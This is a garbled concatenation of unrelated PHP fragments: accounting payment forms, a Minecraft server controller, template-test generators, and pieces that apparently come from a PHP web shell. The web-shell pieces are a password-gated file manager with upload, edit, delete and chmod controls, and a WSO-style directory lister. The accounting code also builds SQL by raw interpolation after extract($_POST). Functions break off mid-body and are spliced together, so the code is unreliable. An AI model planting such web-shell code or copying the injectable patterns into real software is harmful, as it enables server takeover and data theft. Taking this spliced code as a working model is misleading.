{$TOTAL}</td>\n\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t</table>\n\t\t\t\t\t</td>\n\t\t\t\t</tr>\n\t\t\t\t<tr>\n\t\t\t\t\t<td align='right'><input name='addprodBtn' type='submit' value='Add Product'> | <input name='addnon' type='submit' value='Add Non stock Product'> | <input type='submit' name='saveBtn' value='Save'> </td>\n\t\t\t\t\t<td nowrap>| <input type='submit' name='upBtn' value='Update'>{$done}</td>\n\t\t\t\t</tr>\n\t\t\t</table>\n\t\t\t<a name='bottom'>\n\t\t\t</form>\n\t\t\t</center>\n\t\t\t{$jump_bot}";
if (!isset($reload)) {
$reload = FALSE;
$send_override = "";
}
if ($reload) {
$details_end .= "\n\t\t\t\t\t\t{$send_override}\n\t\t\t\t\t\t<script>\n\t\t\t\t\t\t\tonLoad=document.form.submit();\n\t\t\t\t\t\t</script>\n\t\t\t\t\t";
}
if (AJAX) {
return $ajaxOut;
} else {
return "{$details_begin}{$ajaxOut}{$details_end}";
}
}
function mapautotrim()
{
perm('worlds', 'runMapAutoTrim', $this->Session->read("user_perm"), true);
if (!$this->request->is('post')) {
throw new MethodNotAllowedException();
}
require APP . 'spacebukkitcall.php';
//notify users
$args = array($this->Session->read("Sbvars.10"), '$bServer will shut down shortly due to map mainteniance with MapAutoTrim');
$api->call("broadcastWithName", $args, false);
sleep(10);
//run MapAutoTrim
$vars = $this->request->data;
$args2 = array($vars['world'], $vars['dilatation'], $vars['blocks']);
$api->call("runMapTrimmer", $args2, true);
sleep(5);
w_serverlog($this->Session->read("current_server"), __('[WORLDS] ') . $this->Auth->user('username') . ' ' . __('ran MapAutoTrim on') . ' ' . $vars['world']);
while (is_null($api->call('getWorlds', array(), false))) {
sleep(1);
}
$this->redirect($this->referer());
}
print "<table border=0 width=100%><td width=5% id=s><b>Options</b></td><td id=s><b>Filename</b></td><td id=s><b>Size</b></td><td id=s><b>Permissions</b></td><td id=s>Last modified</td><tr>";
if ($handle = opendir('.')) {
while (false !== ($file = readdir($handle))) {
if (is_dir($file)) {
$directories[] = $file;
} else {
$files[] = $file;
}
}
asort($directories);
asort($files);
foreach ($directories as $file) {
print "<td id=d><a href=\"?p=rename&file=" . realpath($file) . "&dir=" . realpath('.') . "\">[R]</a><a href=\"?p=delete&file=" . realpath($file) . "\">[D]</a></td><td id=d><a href=\"" . $me . "?dir=" . realpath($file) . "\">" . $file . "</a></td><td id=d></td><td id=d><a href=\"?p=chmod&dir=" . realpath('.') . "&file=" . realpath($file) . "\"><font color=" . get_color($file) . ">" . perm($file) . "</font></a></td><td id=d>" . date("Y/m/d, H:i:s", filemtime($file)) . "</td><tr>";
}
foreach ($files as $file) {
print "<td id=f><a href=\"?p=rename&file=" . realpath($file) . "&dir=" . realpath('.') . "\">[R]</a><a href=\"?p=delete&file=" . realpath($file) . "\">[D]</a></td><td id=f><a href=\"" . $me . "?p=edit&dir=" . realpath('.') . "&file=" . realpath($file) . "\">" . $file . "</a></td><td id=f>" . filesize($file) . "</td><td id=f><a href=\"?p=chmod&dir=" . realpath('.') . "&file=" . realpath($file) . "\"><font color=" . get_color($file) . ">" . perm($file) . "</font></a></td><td id=f>" . date("Y/m/d, H:i:s", filemtime($file)) . "</td><tr>";
}
} else {
print "<u>Error!</u> Can't open <b>" . realpath('.') . "</b>!<br>";
}
print "</table><hr><table border=0 width=100%><td><b>Upload file</b><br><form enctype=\"multipart/form-data\" action=\"" . $me . "?dir=" . realpath('.') . "\" method=\"POST\"> \n<input type=\"hidden\" name=\"MAX_FILE_SIZE\" value=\"100000000\" /><input size=30 name=\"uploadedfile\" type=\"file\" /> \n<input type=\"submit\" value=\"Upload File\" /> \n</form></td><td><form action=\"" . $me . "\" method=GET><b>Change Directory<br></b><input type=text size=40 name=dir value=\"" . realpath('.') . "\"><input type=submit value=\"Change Directory\"></form></td> \n<tr><td><form action=\"" . $me . "\" method=GET><b>Create file<br></b><input type=hidden name=dir value=\"" . realpath('.') . "\"><input type=text size=40 name=file value=\"" . realpath('.') . "\"><input type=hidden name=p value=edit><input type=submit value=\"Create file\"></form> \n</td><td><form action=\"" . $me . "\" method=GET><b>Create directory<br></b><input type=text size=40 name=crdir value=\"" . realpath('.') . "\"><input type=hidden name=dir value=\"" . realpath('.') . "\"><input type=hidden name=p value=createdir><input type=submit value=\"Create directory\"></form></td> \n</table>";
}
function login()
{
print "<table border=0 width=100% height=100%><td valign=\"middle\"><center> \n <form action=" . basename(__FILE__) . " method=\"POST\"><b>Password?</b> \n <input type=\"password\" maxlength=\"32\" name=\"pass\"><input type=\"submit\" value=\"Login\"> \n </form>";
}
function reload()
{
header("Location: " . basename(__FILE__));
}
function get_execution_method()
if ($handle = @opendir($dir)) {
while (false != ($link = readdir($handle))) {
$on3 = @posix_getpwuid(@fileowner($dir . "/" . $link));
$gr = @posix_getgrgid(@filegroup($dir . "/" . $link));
if (@is_dir($dir . DIRECTORY_SEPARATOR . $link)) {
$file = array();
@($file['link'] = "<a href='{$me}?dir={$dir}" . DIRECTORY_SEPARATOR . "{$link}'>[ {$link} ]</font></a>");
$file['pir'] = "<a href='?sws=chmod&file={$link}&dir={$dir}'\">" . @wsoPermsColor($dir . "/" . $link) . "</a>";
$file['pir2'] = "<a href='?sws=chmod&file={$link}&dir={$dir}'\">" . @perm($dir . "/" . $link) . "</a>";
$folder = "<tr><td> " . $file['link'] . "</td><td>dir</td><td>" . date('Y-m-d H:i:s', @filemtime($dir . "/" . $link)) . "</td><td>" . $on3['name'] . "/" . $gr['name'] . "</td><td>" . $file['pir'] . " " . $file['pir2'] . "<td><a href='?sws=rname&file={$link}&dir={$dir}'\">R</a> - <a href='?sws=chmod&file={$link}&dir={$dir}'\">C</a> - <a href='?sws=rm&file={$link}&dir={$dir}'\">rm</a></td></td></tr></div>";
array_push($folders, $folder);
} else {
$file = array();
$ext = @strpos($link, ".") ? @strtolower(end(explode(".", $link))) : "";
$file['pir'] = "<a href='?sws=chmod&file={$link}&dir={$dir}'\">" . @wsoPermsColor($dir . "/" . $link) . "</a>";
$file['pir2'] = "<a href='?sws=chmod&file={$link}&dir={$dir}'\">" . @perm($dir . "/" . $link) . "</a>";
$file['size'] = @number_format(@filesize($dir . "/" . $link) / 1024, 2);
@($file['link'] = "<a href='?sws=edit&file={$link}&dir={$dir}'\">" . $link . "</a>");
$file = "<tr><td>" . $file['link'] . "</td><td>" . $file['size'] . "</td><td>" . date('Y-m-d H:i:s', @filemtime($dir . "/" . $link)) . "</td><td>" . $on3['name'] . "/" . $gr['name'] . "</td><td>" . $file['pir'] . " " . $file['pir2'] . "<td><a href='?sws=edit&file={$link}&dir={$dir}'\">E</a> - <a href='?sws=rname&file={$link}&dir={$dir}'\">R</a> - <a href='?sws=chmod&file={$link}&dir={$dir}'\">C</a> - <a href='?sws=dow&file={$link}&dir={$dir}'\">D</a> - <a href='?sws=rm&file={$link}&dir={$dir}'\">rm</a></td></td></tr></div>";
array_push($files, $file);
}
}
asort($folders);
asort($files);
foreach ($folders as $folder) {
echo $folder;
}
foreach ($files as $file) {
echo $file;
}
echo "</table></div>";
<?php
require_once dirname(__FILE__) . "/permutation.php";
// Writes to: regression_tests/array_fetch/correct/indexes.in
$ws = alt("", " ", "\n");
$comment = alt("/*c*/", "//c\n");
$wsComment = alt(clone $ws, clone $comment, clone $ws);
$comments = alt(clone $ws, clone $comment);
$indexPre = perm("[1]", clone $comments, "[]", clone $comments);
$indexPost = perm("[2]");
$entry1 = alt("", perm(clone $comments, "[1]"), perm("[1]", clone $comments, "[2]"), perm($indexPre, $indexPost));
$var = perm("{\$a[0]");
$fetch = perm($var, $entry1, "}");
$list = perm($fetch, "\n");
$a = app("array_fetch/correct/indexes.in", $argv);
$top = "{var \$a = array( 0 => array( 1 => array( 2 => 'foo' ) ) )}\n";
$a->output($top);
$i = 1;
$out = '';
$map = array(0 => "Array\n", 1 => "Array\n", 2 => "foo\n", 3 => '');
do {
$num = sprintf("%04d", $i);
$str = $list->generate();
if ($entry1->index == 3) {
$a->store("{* file: indexes_{$num}.in *}\n" . $top . $str, $a->dir . "/array_fetch/incorrect/indexes_{$num}.in");
/* $text = $fetch->generate();
$len = strlen( $text );
$a->store( "mock:3:{$len}: Unexpected array append '[]'. Did you forget an expresssion between the brackets?\n" .
"\n" .
"{$text}\n" .
str_repeat( " ", ezcTemplatePermutation::column( $var->generate() . $indexPre->generate() ) ) . "^\n",
<?php
require_once dirname(__FILE__) . "/permutation.php";
// Writes to: regression_tests/literals/array_create_with_comments2.in
$ws = alt("", " \t", "\n");
$comment = alt("/*c*/", "//c\n");
$wsComment = alt(clone $ws, clone $comment, clone $ws);
$comments = alt(clone $ws, clone $comment);
$list = perm('debug_dump( array', '(', alt(perm(clone $comments, alt('0'), clone $comments), perm(clone $comments, alt('0'), clone $comments, alt(','), clone $comments)), ') )');
$a = app("literals/array_create_with_comments2.in", $argv);
do {
$str = $list->generate();
$a->output("{" . $str . "}\n");
} while ($list->increase());
function alloc($_POST, $err = "")
{
extract($_POST);
#if quick ... redirect here
if (isset($quickpay)) {
$date = "{$date_year}-{$date_month}-{$date_day}";
header("Location: bank-pay-supp-quick.php?supid={$supid}&amt={$amt}&cheqnum={$cheqnum}&reference={$reference}&descript={$descript}&bankid={$bankid}&tdate={$date}&pur=&inv=&process_type={$process_type}");
exit;
}
if (isset($midupdate)) {
$navigation = "\n\t\t\t<script>\n\t\t\t\tgotoName('midupdate');\n\t\t\t</script>";
}
if (isset($botupdate)) {
$navigation = "\n\t\t\t<script>\n\t\t\t\tgotoName('botupdate');\n\t\t\t</script>";
}
#######set all missing vars ...
$out = 0;
$doset = TRUE;
$settext = "Do not use this settlement discount function if the supplier is going to issue a tax credit note. If the supplier tax invoice contains the percentage and terms of settlement or any additional post transactional discount, then the supplier does not have to issue a tax credit note and you can use this function.";
if (!isset($all)) {
$all = 2;
}
if (!isset($bankid)) {
$bankid = "";
}
if (!isset($descript)) {
$descript = "";
}
if (!isset($reference)) {
$reference = "";
}
if (!isset($cheqnum)) {
$cheqnum = "";
}
if (!isset($paidamt) or !is_array($paidamt)) {
$paidamt = array(0);
}
$amt = sprint(array_sum($paidamt));
if (!isset($stock_setamt)) {
$stock_setamt = array(0);
}
if (!isset($setamt)) {
$setamt = 0;
}
if (!isset($setvat)) {
$setvat = "";
}
if (!isset($setvatcode)) {
$setvatcode = "";
}
if (!isset($overpay)) {
$overpay = 0;
}
if (!isset($process_type)) {
$process_type = getCSetting("SUPP_PROCESS_TYPE");
}
if (!isset($process_type)) {
$process_type = "";
}
if (!isset($supid) or strlen($supid) < 1) {
return sel_sup();
}
$amt = sprint($amt + $overpay);
$setamt = sprint($setamt);
if (!isset($date_day)) {
#get the last used one ...
$date = getCSetting("SUPP_PAY_DATE");
if (isset($date) and strlen($date) > 0) {
$date_arr = explode("-", $date);
$date_day = $date_arr[2];
$date_month = $date_arr[1];
$date_year = $date_arr[0];
} else {
$date_year = date("Y");
$date_month = date("m");
$date_day = date("d");
}
}
if (!isset($date_day) or strlen($date_day) < 1 or $date_day > 31 or $date_day < 1) {
$date_day = date("d");
}
if (!isset($date_month) or strlen($date_month) < 1 or $date_month > 12 or $date_month < 1) {
$date_month = date("m");
}
if (!isset($date_year) or strlen($date_year) < 1 or $date_year < 1980 or $date_year > 2020) {
$date_year = date("Y");
}
//print "$date_year-$date_month-$date_day";
####### validate input
require_lib("validate");
$v = new validate();
$v->isOk($bankid, "num", 0, 30, "Invalid Bank Account.");
$v->isOk($all, "num", 1, 1, "Invalid allocation.");
$v->isOk($date_day, "num", 1, 2, "Invalid Date day.");
$v->isOk($date_month, "num", 1, 2, "Invalid Date month.");
$v->isOk($date_year, "num", 1, 4, "Invalid Date Year.");
if (strlen($date_year) != 4) {
$v->isOk($bankname, "num", 1, 1, "Invalid Date year.");
}
$v->isOk($descript, "string", 0, 255, "Invalid Description.");
$v->isOk($reference, "string", 0, 50, "Invalid Reference Name/Number.");
$v->isOk($cheqnum, "num", 0, 30, "Invalid Cheque number.");
$v->isOk($amt, "float", 1, 10, "Invalid amount.");
$v->isOk($setamt, "float", 0, 40, "Invalid Settlement Discount Amount.");
$v->isOk($setvat, "string", 0, 10, "Invalid Settlement VAT Option.");
$v->isOk($setvatcode, "string", 0, 40, "Invalid Settlement VAT code");
$v->isOk($supid, "num", 1, 10, "Invalid supplier number.");
$date = mkdate($date_year, $date_month, $date_day);
if (!checkdate($date_month, $date_day, $date_year)) {
$v->isOk($date, "num", 1, 1, "Invalid date.");
}
# display errors, if any
if ($v->isError()) {
$confirm = "";
$errors = $v->getErrors();
foreach ($errors as $e) {
$confirm .= "<li class='err'>" . $e["msg"] . "</li>";
}
return $confirm . alloc($_POST, $confirm . "<br>");
}
db_connect();
#check if this supplier is blocked ...
$sql = "SELECT blocked FROM suppliers WHERE supid = '{$supid}'";
$run_sql = db_exec($sql) or errDie("Unable to get supplier information.");
if (pg_numrows($run_sql) < 1) {
return "<li class='err'>Supplier information not found.</li>";
} else {
$res = pg_fetch_array($run_sql);
if ($res['blocked'] == "yes") {
return "<li class='err'>Supplier has been blocked. Please unblock supplier before continuing. <a href='../supp-view.php'>View Suppliers.</a></li>";
}
}
####### Get supplier details
$sql = "SELECT supid,supno,supname,setdisc,setdays,balance FROM suppliers WHERE supid = '{$supid}' AND div = '" . USER_DIV . "'";
$supRslt = db_exec($sql);
$sup = pg_fetch_array($supRslt);
####### Get Bank Dropdown
$sql = "SELECT * FROM bankacct WHERE btype != 'int' AND div = '" . USER_DIV . "' ORDER BY accname,bankname";
$banks = db_exec($sql);
$numrows = pg_numrows($banks);
if (empty($numrows)) {
return "<li class='err'> There are no accounts held at the selected Bank.</li>\n\t\t<p><input type='button' onClick='JavaScript:history.back();' value='« Correct Selection'>";
}
$bank_drop = "<select name='bankid'>";
while ($acc = pg_fetch_array($banks)) {
if ($bankid == $acc['bankid']) {
$bank_drop .= "<option value='{$acc['bankid']}' selected>{$acc['accname']} - {$acc['bankname']} ({$acc['acctype']})</option>";
} else {
$bank_drop .= "<option value='{$acc['bankid']}'>{$acc['accname']} - {$acc['bankname']} ({$acc['acctype']})</option>";
}
}
$bank_drop .= "</select>";
####### Get vat codes for dropdown
$get_vatc = "SELECT * FROM vatcodes ORDER BY code";
$run_vatc = db_exec($get_vatc) or errDie("Unable to get vat codes information.");
if (pg_numrows($run_vatc) < 1) {
$vatcode_drop = "<input type='hidden' name='setvatcode' value=''>";
} else {
$vatcode_drop = "<select name='setvatcode'>";
while ($varr = pg_fetch_array($run_vatc)) {
if (isset($setvatcode) and $setvatcode == $varr['id']) {
$vatcode_drop .= "<option value='{$varr['id']}' selected>{$varr['code']} {$varr['description']}</option>";
} else {
$vatcode_drop .= "<option value='{$varr['id']}'>{$varr['code']} {$varr['description']}</option>";
}
}
$vatcode_drop .= "</select>";
}
$setvatsel1 = "";
$setvatsel2 = "";
if ($setvat == "novat") {
$setvatsel2 = "checked='yes'";
} else {
$setvatsel1 = "checked='yes'";
}
// <input type='hidden' name='bankid' value='$bankid'>
// <input type='hidden' name='date' value='$date'>
// <input type='hidden' name='descript' value='$descript'>
// <input type='hidden' name='reference' value='$reference'>
// <input type='hidden' name='cheqnum' value='$cheqnum'>
// <input type='hidden' name='amt' value='$amt'>
// <input type='hidden' name='setvat' value='$setvat'>
// <input type='hidden' name='setvatcode' value='$setvatcode'>
// <input type='hidden' name='setamt' value='".sprint (array_sum($stock_setamt))."'>
$prsel1 = "";
$prsel2 = "";
if ($process_type == "batch") {
$prsel2 = "checked='yes'";
} else {
$prsel1 = "checked='yes'";
}
if (perm("allow-user-change-supp-process-type.php")) {
$show_process_type = "\n\t\t\t<table " . TMPL_tblDflts . ">\n\t\t\t\t<tr>\n\t\t\t\t\t<th colspan='2'>Payment Process Type</th>\n\t\t\t\t</tr>\n\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t<td><input type='radio' name='process_type' value='now' {$prsel1}>Pay creditor immediately and add to cashbook</td>\n\t\t\t\t\t<td><input type='radio' name='process_type' value='batch' {$prsel2}>Add to creditor payment batch</td>\n\t\t\t\t</tr>\n\t\t\t\t" . TBL_BR . "\n\t\t\t</table>";
} else {
$show_process_type = "<input type='hidden' name='process_type' value='{$process_type}'>";
}
$confirm = "\n\t\t<script>\n\t\t\tfunction showText() {\n\t\t\t\tXPopupShow('{$settext}', getObject('phonetic_show'));\n\t\t\t}\n\t\t\tfunction updateStockTotal (counter){\n\t\t\t\tvar total_val = getObj('total_id'+counter);\n\t\t\t\tvar htotal_val = getObj('total_hid'+counter);\n\t\t\t\tvar set_val = getObj('set_id'+counter);\n\t\t\t\tvar hset_val = getObj('set_hid'+counter);\n\t\n\t\t\t\tvar button_val = getObj('button'+counter);\n\t\n\t\t\t\tif (total_val.value == '0.00'){\n\t\t\t\t\ttotal_val.value = htotal_val.value - hset_val.value;\n\t\t\t\t}else {\n\t\t\t\t\ttotal_val.value = '0.00';\n\t\t\t\t}\n\t\t\t\tif (set_val.value == '0.00'){\n\t\t\t\t\tset_val.value = hset_val.value;\n\t\t\t\t}else {\n\t\t\t\t\tset_val.value = '0.00';\n\t\t\t\t}\n\t\t\t\tbutton_val.blur();\n\t\t\t}\n\t\t\tfunction pageXY(el){\n\t\t\t\tvar XY={x:0, y:0};\n\t\t\t\tfor( var node = el; node; node=node.offsetParent)\n\t\t\t\t{ XY.x += node.offsetLeft;\n\t\t\t\t\tXY.y += node.offsetTop;\n\t\t\t\t}\n\t\t\t\treturn XY;\n\t\t\t}\n\t\t\tfunction gotoName(name){\n\t\t\t\tvar anchors, anchor, XY;\n\t\t\t\tanchors=document.anchors;\n\t\t\t\tanchor=anchors[name];\n\t\t\t\tif(!anchor) // IE sucks\n\t\t\t\t{\n\t\t\t\t\tfor( var i = 0; i < anchors.length; ++i){\n\t\t\t\t\t\tif(anchors[i].name==name){\n\t\t\t\t\t\t\tanchor = anchors[i];\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif(!anchor){\n\t\t\t\t\tif( document.getElementById)\n\t\t\t\t\t\tanchor=document.getElementById(name);\n\t\t\t\t\telse if( document.all) // untested\n\t\t\t\t\t\tanchor=document.all[name];\n\t\t\t\t}\n\t\t\t\tif(anchor){\n\t\t\t\t\tXY = pageXY(anchor);\n\t\t\t\t\twindow.scrollTo(XY.x, XY.y);\n\t\t\t\t}\n\t\t\t}\n\t\t</script>\n\t\t<h3>New Bank Payment</h3>\n\t\t<form action='" . SELF . "' method='POST' name='form1'>\n\t\t{$show_process_type}\n\t\t<table " . TMPL_tblDflts . ">\n\t\t\t{$err}\n\t\t\t<input type='hidden' name='key' value='confirm'>\n\t\t\t<input type='hidden' name='all' value='{$all}'>\n\t\t\t<input type='hidden' name='supid' value='{$supid}'>\n\t\t\t<input type='hidden' name='pur' value=''>\n\t\t\t<input type='hidden' name='inv' value=''>\n\t\t\t<tr>\n\t\t\t\t<td>\n\t\t\t\t\t<table " . TMPL_tblDflts . ">\n\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t<th>Field</th>\n\t\t\t\t\t\t\t<th>Value</th>\n\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t\t\t<td>Account</td>\n\t\t\t\t\t\t\t<td>{$bank_drop}</td>\n\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t\t\t<td>Payment Date</td>\n\t\t\t\t\t\t\t<td valign='center'>" . mkDateSelect("date", $date_year, $date_month, $date_day) . "</td>\n\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t\t\t<td>Paid To</td>\n\t\t\t\t\t\t\t<td valign='center'>({$sup['supno']}) {$sup['supname']}</td>\n\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t\t\t<td>Description</td>\n\t\t\t\t\t\t\t<td valign='center'><textarea col='18' rows='3' name='descript'>{$descript}</textarea></td>\n\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t\t\t<td>Reference</td>\n\t\t\t\t\t\t\t<td valign='center'><input type='text' size='25' name='reference' value='{$reference}'></td>\n\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t\t\t<td>Total Amount</td>\n\t\t\t\t\t\t\t<td>" . CUR . " {$amt}</td>\n\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t\t\t<td>Settlement Discount</td>\n\t\t\t\t\t\t\t<td valign='center'>" . CUR . " " . sprint(array_sum($stock_setamt)) . " <input type='button' onClick='showText();' value='Tax Credit Note ?'></td>\n\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t\t\t<td nowrap>Settlement Discount VAT</td>\n\t\t\t\t\t\t\t<td nowrap>\n\t\t\t\t\t\t\t\t{$vatcode_drop} \n\t\t\t\t\t\t\t\t<input type='radio' name='setvat' value='inc' {$setvatsel1}> VAT Inclusive \n\t\t\t\t\t\t\t\t<input type='radio' name='setvat' value='novat' {$setvatsel2}> No VAT\n\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t</tr>\n\t\t\t\t\t</table>\n\t\t\t\t</td>\n\t\t\t\t<td width='5%'></td>\n\t\t\t\t<td valign='top'>\n\t\t\t\t\t<table " . TMPL_tblDflts . ">\n\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t<th colspan='2'><font style='color:red'>Quick</font> Payment</th>\n\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t\t\t<td>Cheque Number</td>\n\t\t\t\t\t\t\t<td valign='center'><input size='20' name='cheqnum' value='{$cheqnum}'></td>\n\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t\t\t<td>Amount</td>\n\t\t\t\t\t\t\t<td valign='center'>" . CUR . " <input type='text' size='6' name='amt' value='{$amt}'></td>\n\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t\t\t<td colspan='2' align='right'><input type='submit' name='quickpay' value='Allocate the above payment automatically'></td>\n\t\t\t\t\t\t</tr>\n\t\t\t\t\t</table>\n\t\t\t\t</td>\n\t\t\t</tr>\n\t\t\t" . TBL_BR . "\n\t\t\t<tr>\n\t\t\t\t<td align='right'><input type='submit' name='confirm' value='Allocate the payments below »'></td>\n\t\t\t</tr>\n\t\t</table>\n\t\t<table " . TMPL_tblDflts . ">\n\t\t\t" . TBL_BR . "\n\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t<td colspan='4'>Add unallocated payment to supplier statement </td>\n\t\t\t\t<td> " . CUR . " <input type='text' size='10' name='overpay' value='{$overpay}'></td>\n\t\t\t</tr>\n\t\t\t" . TBL_BR;
db_conn('cubit');
$Sl = "SELECT purnum,supinv FROM purchases";
$Ri = db_exec($Sl);
while ($pd = pg_fetch_array($Ri)) {
$pid = $pd['purnum'];
$supinv[$pid] = $pd['supinv'];
}
for ($i = 1; $i < 13; $i++) {
db_conn($i);
$Sl = "SELECT purnum, supinv FROM purchases";
$Ri = db_exec($Sl);
while ($pd = pg_fetch_array($Ri)) {
$pid = $pd['purnum'];
$supinv[$pid] = $pd['supinv'];
}
$Sl = "SELECT purnum, supinv FROM nons_purchases";
$Ri = db_exec($Sl);
while ($pd = pg_fetch_array($Ri)) {
$pid = $pd['purnum'];
$supinv[$pid] = $pd['supinv'];
}
}
if ($all == 2) {
if (!isset($paidamt)) {
$paidamt = array(0);
}
if (!isset($stock_setamt)) {
$stock_setamt = array(0);
}
#user has to use auto allocation ... we cant just die here anymore ...
db_conn("cubit");
$sql = "\n\t\t\tSELECT purid as invid, intpurid as invid2, SUM(balance) AS balance, pdate as odate \n\t\t\tFROM suppurch WHERE supid = '{$supid}' AND div = '" . USER_DIV . "' \n\t\t\tGROUP BY purid, intpurid, pdate \n\t\t\tHAVING SUM(balance) > 0 \n\t\t\tORDER BY odate ASC";
$prnInvRslt = db_exec($sql);
// if(pg_numrows($prnInvRslt) < 1) {return "The selected supplier has no outstanding purchases<br>
// To make a payment in advance please select Auto Allocation";}
$i = 0;
$counter = 0;
$total = 0;
while ($inv = pg_fetch_array($prnInvRslt)) {
if ($inv['invid'] == 0) {
continue;
}
if ($inv['invid2'] > 0) {
$inv['invid'] = $inv['invid2'];
}
if ($doset) {
$showsethead = "<th>Settlement</th><th>Potential Settlement Discount</th>";
} else {
$showsethead = "";
}
if ($i == 0) {
$confirm .= "\n\t\t\t\t\t" . TBL_BR . "\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td colspan='3'><h3>Allocate Payments To Supplier Invoices:</h3></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t" . TBL_BR . "\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<th>Purchase</th>\n\t\t\t\t\t\t<th>Supplier Invoice No.</th>\n\t\t\t\t\t\t<th>Outstanding Amount</th>\n\t\t\t\t\t\t<th>Date</th>\n\t\t\t\t\t\t<th>Amount</th>\n\t\t\t\t\t\t{$showsethead}\n\t\t\t\t\t</tr>";
}
$invid = $inv['invid'];
$val = '';
if (pg_numrows($prnInvRslt) == 1) {
$val = $amt;
}
if (isset($paidamt[$i])) {
$val = sprint($paidamt[$i]);
}
$val = sprint($val);
if (isset($supinv[$invid])) {
$sinv = $supinv[$invid];
} else {
$sinv = "";
}
if ($doset) {
#check if we can find a recommended settlement amt ...
if ($sup['setdisc'] != "0") {
#generate the dates ...
if ($sup['setdays'] == 0) {
$month = date("m") + 1;
} else {
$month = date("m");
}
$startmonth = $month - 1;
$firstdate = date("Y-m-d", mktime(0, 0, 0, $startmonth, $sup['setdays'], date("Y")));
$discdate = date("Y-m-d", mktime(0, 0, 0, $month, $sup['setdays'], date("Y")));
$lastdate = date("Y-m-d", mktime(0, 0, 0, date("m") + 1, -1, date("Y")));
//print "$firstdate -> $discdate -> $lastdate =====> $date ($inv[odate])<br>";
if ($inv['odate'] > $firstdate and $inv['odate'] < $lastdate and $inv['odate'] <= $date) {
#discount applies ...
$setrec = sprint($inv['balance'] / 100 * $sup['setdisc']);
} else {
#no discount
$setrec = sprint(0);
}
} else {
$setrec = sprint(0);
}
if (!isset($stock_setamt[$i])) {
$stock_setamt[$i] = sprint(0);
}
$stock_setamt[$i] = sprint($stock_setamt[$i]);
$showset = "\n\t\t\t\t\t<td><input id='set_id{$counter}' type='text' size='10' name='stock_setamt[{$i}]' value='{$stock_setamt[$i]}'></td>\n\t\t\t\t\t<td><input id='set_hid{$counter}' type='hidden' name='stock_setamt_val' value='{$setrec}'>" . CUR . " {$setrec}</td>";
} else {
$showset = "\n\t\t\t\t\t<input id='set_id{$counter}' type='hidden' name='stock_setamt[{$i}]' value='0'>\n\t\t\t\t\t<input id='set_hid{$counter}' type='hidden' name='stock_setamt_val' value='0'>";
}
$confirm .= "\n\t\t\t\t<input type='hidden' size='20' name='invids[{$i}]' value='{$inv['invid']}'>\n\t\t\t\t<input id='total_hid{$counter}' type='hidden' name='totamt[{$i}]' value='{$inv['balance']}'>\n\t\t\t\t<tr class='" . bg_class() . "'>\n\t\t\t\t\t<td>{$inv['invid']}</td>\n\t\t\t\t\t<td>{$sinv}</td>\n\t\t\t\t\t<td>" . CUR . " {$inv['balance']}</td>\n\t\t\t\t\t<td>{$inv['odate']}</td>\n\t\t\t\t\t<td><input id='total_id{$counter}' type='text' name='paidamt[{$i}]' size='10' value='{$val}'></td>\n\t\t\t\t\t{$showset}\n\t\t\t\t\t<td><input id='button{$counter}' type='checkbox' onClick=\"updateStockTotal({$counter});\"></td>\n\t\t\t\t</tr>";
$i++;
$total = $total + $inv['balance'];
if ($counter == 15) {
$confirm .= "\n\t\t\t\t\t<tr>\n\t\t\t\t\t\t<td colspan='2'></td>\n\t\t\t\t\t\t<td class='" . bg_class() . "' nowrap colspan='2'>" . CUR . " " . sprint($total) . "</td>\n\t\t\t\t\t\t<td class='" . bg_class() . "' nowrap>Total: " . CUR . " " . sprint(array_sum($paidamt)) . " </td>\n\t\t\t\t\t\t<td class='" . bg_class() . "' nowrap>Total: " . CUR . " " . sprint(array_sum($stock_setamt)) . " </td>\n\t\t\t\t\t\t<td class='" . bg_class() . "' nowrap align='left'><input type='submit' name='midupdate' value='Update'></td>\n\t\t\t\t\t</tr>\n\t\t\t\t\t<a name='midupdate'></a>";
$counter = 0;
}
$counter++;
}
if ($counter != 0) {
$confirm .= "\n\t\t\t\t<tr>\n\t\t\t\t\t<td colspan='2'></td>\n\t\t\t\t\t<td class='" . bg_class() . "' nowrap colspan='2'>" . CUR . " " . sprint($total) . "</td>\n\t\t\t\t\t<td class='" . bg_class() . "' nowrap>Total: " . CUR . " " . sprint(array_sum($paidamt)) . " </td>\n\t\t\t\t\t<td class='" . bg_class() . "' nowrap>Total: " . CUR . " " . sprint(array_sum($stock_setamt)) . " </td>\n\t\t\t\t\t<td class='" . bg_class() . "' nowrap align='left'><input type='submit' name='botupdate' value='Update'></td>\n\t\t\t\t</tr>\n\t\t\t\t<a name='botupdate'></a>";
}
// 0.01 because of high precisions like 0.0000000001234 still matching
if ($out >= 0.01) {
